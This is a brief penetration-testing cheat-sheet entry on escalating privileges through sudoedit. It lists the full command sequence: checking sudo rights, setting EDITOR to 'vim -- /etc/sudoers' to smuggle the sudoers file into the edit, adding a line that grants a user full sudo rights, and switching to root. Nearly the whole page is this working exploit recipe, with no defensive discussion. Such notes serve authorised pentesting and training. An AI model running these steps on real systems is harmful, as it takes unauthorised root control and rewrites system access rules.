Sudoedit is vulnerable to privilege escalation.
Last updated 1 year ago
sudo -l (root) sudoedit /opt/example.txt
If we can execute sudoedit command as root, we might be able to escalate the privileges with some version.
export EDITOR="vim -- /etc/sudoers" sudoedit /opt/example.txt
In vim editor, add the following line in /etc/sudoers. Assume the current username is “john”
/etc/sudoers
john ALL=(ALL:ALL) ALL
After that, we can escalate to root privilege.
sudo su root